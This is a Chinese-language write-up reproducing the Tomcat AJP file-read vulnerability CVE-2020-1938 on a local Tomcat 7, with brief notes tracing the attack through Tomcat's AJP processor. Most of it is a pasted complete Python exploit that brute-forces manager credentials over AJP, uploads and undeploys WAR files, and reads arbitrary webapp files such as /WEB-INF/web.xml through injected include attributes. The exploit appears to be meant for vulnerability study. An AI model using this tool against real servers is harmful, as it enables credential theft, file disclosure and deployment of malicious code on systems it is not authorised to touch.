大坑在环境调试。
先看下漏洞影响版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
这边本地环境是tomcat7.0.96+jdk7来进行复现。
根据漏洞初步分析是在ajp协议这块。百度搜索ajp和tomcat的相关信息。
搜索到https://www.iteye.com/blog/desert3-1419956
根据Server.xml中配置的协议AJP/1.3，调用org.apache.coyote.ajp.AjpAprProtocol来后续处理
那就知道了jar包的路径了。E:/study/tomcat7/lib/tomcat-coyote.jar!/org/apache/coyote/ajp/AjpAprProtocol.class。在这个tomcat的class下打断点，local方式启动tomcat7看看。能不能断点成功。
断点成功，说明程序没问题。在环境tomcat调试的过程中，tomcat需要1.7jdk or later，然后在配置文件中也需要设置1.7jre等情况才能成功启动。我目前因为环境原因，在tomcat的启动文件配置中把java_home和jre_home是写死的。
贴上POC
#!/usr/bin/env python # # Julien Legras - Synacktiv # # THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException from pprint import pprint, pformat from base64 import b64encode import socket import argparse import logging import re import os import logging import sys try: from urllib import unquote except ImportError: from urllib.parse import unquote def setup_logger(): logger = logging.getLogger('meow') handler = logging.StreamHandler() logger.addHandler(handler) logger.setLevel(logging.DEBUG) return logger logger = setup_logger() # helpers def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb") def test_password(self, user, password): res = False stop = False self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + b64encode("%s:%s" % (user, password)).replace(' ', '') while not stop: logger.debug("testing %s:%s" % (user, password)) responses = self.forward_request.send_and_receive(self.socket, self.stream) snd_hdrs_res = responses[0] if snd_hdrs_res.http_status_code == 404: raise NotFoundException("The req_uri %s does not exist!" % self.req_uri) elif snd_hdrs_res.http_status_code == 302: self.req_uri = snd_hdrs_res.response_headers.get('Location', '') logger.info("Redirecting to %s" % self.req_uri) self.forward_request.req_uri = self.req_uri elif snd_hdrs_res.http_status_code == 200: logger.info("Found valid credz: %s:%s" % (user, password)) res = True stop = True if 'Set-Cookie' in snd_hdrs_res.response_headers: logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', ''))) elif snd_hdrs_res.http_status_code == 403: logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % (user, password)) stop = True elif snd_hdrs_res.http_status_code == 401: stop = True return res def start_bruteforce(self, users, passwords, req_uri, autostop): logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri) f_users = open(users, "r") f_passwords = open(passwords, "r") valid_credz = [] try: for user in f_users: f_passwords.seek(0, 0) for password in f_passwords: if autostop and len(valid_credz) > 0: self.socket.close() return valid_credz user = user.rstrip(' ') password = password.rstrip(' ') if self.test_password(user, password): valid_credz.append((user, password)) except NotFoundException as e: logger.fatal(e.message) finally: logger.debug("Closing socket...") self.socket.close() return valid_credz def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: creds = b64encode(("%s:%s" % (user, password)).encode('utf-8')).decode('utf-8') self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + creds for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: logger.info("No data in response. Headers: %s" % pformat(vars(snd_hdrs_res))) return snd_hdrs_res, data_res def upload(self, filename, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) with open(filename, "rb") as f_input: with open("/tmp/request", "w+b") as f: s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti Content-Disposition: form-data; name="deployWar"; filename="%s" Content-Type: application/octet-stream ' % os.path.basename(filename) s_form_footer = ' ------WebKitFormBoundaryb2qpuwMoVtQJENti-- ' f.write(s_form_header.encode('utf-8')) f.write(f_input.read()) f.write(s_form_footer.encode('utf-8')) data_len = os.path.getsize("/tmp/request") headers = { "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti", "SC_REQ_CONTENT_LENGTH": "%d" % data_len, "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}] if old_version == False: attributes.append({"name": "query_string", "value": deploy_csrf_token}) old_apps = self.list_installed_applications(user, password, old_version) r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes) with open("/tmp/request", "rb") as f: br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER) br.send_and_receive(self.socket, self.stream) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Upload failed') while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) logger.debug('Upload seems normal. Checking...') new_apps = self.list_installed_applications(user, password, old_version) if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps: logger.info('Upload success!') else: logger.error('Upload failed') def get_error_page(self): return self.perform_request("/blablablablabla") def get_version(self): hdrs, data = self.get_error_page() for d in data: s = re.findall('(Apache Tomcat/[0-9.]+)', d.data.decode('utf-8')) if len(s) > 0: return s[0] def get_csrf_token(self, user, password, old_version, headers={}, query=[]): # first we request the manager page to get the CSRF token hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password) deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data.decode('utf8') for d in rdata])) if old_version == False: if len(deploy_csrf_token) == 0: logger.critical("Failed to get CSRF token. Check the credentials") return logger.debug('CSRF token = %s' % deploy_csrf_token[0]) obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '').decode('utf-8')) if obj is not None: return deploy_csrf_token[0], obj return deploy_csrf_token[0], None def list_installed_applications(self, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s" % deploy_csrf_token}) hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes) found = [] for d in data: im = re.findall('/manager/html/expire?path=([^&]*)&', d.data.decode('utf8')) for app in im: found.append(unquote(app)) return found def undeploy(self, path, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) path_app = "path=%s" % path headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host), "Origin": "http://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)}) r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Undeploy failed') # Check the successful message found = False regex = r'<small><strong>Message:</strong></small> </td>s*<td class="row-left"><pre>(OK - .*'+path+')s*</pre></td>' while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) if r.prefix_code == 3: f = re.findall(regex, r.data.decode('utf-8')) if len(f) > 0: found = True if found: logger.info('Undeploy succeed') else: logger.error('Undeploy failed') if __name__ == "__main__": parser = argparse.ArgumentParser() subparsers = parser.add_subparsers() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument("--port", type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument('-v', '--verbose', action='count', default=1) parser_bf = subparsers.add_parser('bf', help='Bruteforce Basic authentication') parser_bf.set_defaults(which='bf') parser_bf.add_argument("req_uri", type=str, default="/manager/html", help="Resource to attack") parser_bf.add_argument("-U", "--users", type=str, help="Filename containing the usernames to test against the Tomcat manager AJP", required=True) parser_bf.add_argument("-P", "--passwords", type=str, help="Filename containing the passwords to test against the Tomcat manager AJP", required=True) parser_bf.add_argument('-s', '--stop', action='store_true', default=False, help="Stop when we find valid credz") # parser_req = subparsers.add_parser('req', help='Request resource') # parser_req.set_defaults(which='req') # parser_req.add_argument("-m", "--method", type=str, default="GET", help="Request method (default=GET)", choices=AjpForwardRequest.REQUEST_METHODS.keys()) parser_upload = subparsers.add_parser('upload', help='Upload WAR') parser_upload.set_defaults(which='upload') parser_upload.add_argument("filename", type=str, help="WAR file to upload") parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username") parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password") parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers") parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token") parser_upload = subparsers.add_parser('undeploy', help='Undeploy WAR') parser_upload.set_defaults(which='undeploy') parser_upload.add_argument("path", type=str, help="Installed WAR path") parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username") parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password") parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers") parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token") parser_version = subparsers.add_parser('version', help='Get version') parser_version.set_defaults(which='version') parser_upload = subparsers.add_parser('list', help='List installed applications') parser_upload.set_defaults(which='list') parser_upload.add_argument("-u", "--user", type=str, default=None, help="Username") parser_upload.add_argument("-p", "--password", type=str, default=None, help="Password") parser_upload.add_argument("-H", "--headers", type=str, default={}, help="Custom headers") parser_upload.add_argument("--old-version", action='store_true', default=False, help="Old version of Tomcat that does not implement anti-CSRF token") read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938') read_file.set_defaults(which='read_file') read_file.add_argument("file_path", type=str, help="File to read") read_file.add_argument("-w", "--webapp", type=str, default="", help="Webapp") read_file.add_argument("-o", "--output", type=str, help="Output file (for binary files)") args = parser.parse_args() if args.verbose == 1: logger.setLevel(logging.INFO) else: logger.setLevel(logging.DEBUG) bf = Tomcat(args.target, args.port) if args.which == 'bf': bf.start_bruteforce(args.users, args.passwords, args.req_uri, args.stop) # elif args.which == 'req': # print bf.perform_request(args.req_uri, args.headers, args.method, args.user, args.password) elif args.which == 'upload': bf.upload(args.filename, args.user, args.password, args.old_version, args.headers) elif args.which == 'version': print(bf.get_version()) elif args.which == 'list': apps = bf.list_installed_applications(args.user, args.password, args.old_version, args.headers) logger.info("Installed applications:") for app in apps: logger.info('- ' + app) elif args.which == 'undeploy': bf.undeploy(args.path, args.user, args.password, args.old_version, args.headers) elif args.which == 'read_file': attributes = [ {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "1",)}, {"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)}, {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "",)}, ] hdrs, data = bf.perform_request("/" + args.webapp + "/xxxxx.jsp", attributes=attributes) output = sys.stdout if args.output: output = open(args.output, "wb") for d in data: if args.output: output.write(d.data) else: try: output.write(d.data.decode('utf8')) except UnicodeDecodeError: output.write(repr(d.data)) if args.output: output.close()
λ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1
基础关系链
AjpAprProcessor.class第97行，this.prepareRequest();
AbstractAjpProcessor.class的prepareRequest函数进行跟踪。
获取到headers的内容：
1 === MimeHeaders === 2 accept = text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 3 connection = keep-alive 4 content-length = 0 5 host = 127.0.0.1 6 user-agent = Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0 7 Accept-Encoding = gzip, deflate, sdch 8 Accept-Language = en-US,en;q=0.5 9 Upgrade-Insecure-Requests = 1 10 Cache-Control = max-age=0
/apache-tomcat-7.0.94/lib/tomcat-coyote.jar!/org/apache/coyote/ajp/AbstractAjpProcessor.class 530行
this.request.setAttribute(n, v);
第一次n,v
第二次n,v
第三次n,v
对应poc里面的
attributes = [ {"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)}, {"name": "req_attribute", "value": ("javax.servlet.include.path_info", args.file_path,)}, {"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)}, ]